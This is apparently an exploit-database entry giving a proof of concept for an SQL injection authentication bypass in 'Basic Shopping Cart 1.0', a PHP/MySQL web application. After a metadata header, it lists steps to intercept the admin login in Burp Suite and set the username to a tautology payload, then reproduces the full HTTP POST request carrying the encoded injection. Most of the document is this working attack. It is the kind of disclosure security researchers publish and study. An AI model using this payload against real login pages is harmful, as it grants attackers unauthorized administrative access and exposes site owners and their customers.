Basic Shopping Cart 1.0 - Authentication Bypass

# Exploit Title: Basic Shopping Cart 1.0 - Authentication Bypass
# Date: 2021-04-03
# Exploit Author:  Viren Saroha (illusion)
# Vendor Homepage: https://www.sourcecodester.com/php/10964/basic-shopping-cartphpmysql.html
# Software Link: https://www.sourcecodester.com/download-code?nid=10964&title=Basic+Shopping+Cart+using+PHP%2FMySQL+with+Source+Code
# Version: 1.0
# Tested on: Windows 10/Kali Linux

POC

Step 1 -  Go to url http://localhost/EdgeSketch/index.php and Click on Admin
Step 2 – Enter anything in username and password
Step 3 – Click on Login and capture the request in burpsuite
Step4 – Change the username to   ' or '1'='1'#
Step 5 – Click forward and now you will be logged in as admin.

REQUEST

POST /EdgeSketch/adminlogin.php HTTP/1.1
Host: localhost
Content-Length: 77
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://localhost
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://localhost/EdgeSketch/index.php
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: PHPSESSID=6b7072bb40c321cb336aacef057a0876
Connection: close

admin_username=%27+or+%271%27%3D%271%27%23&admin_password=random&admin_login=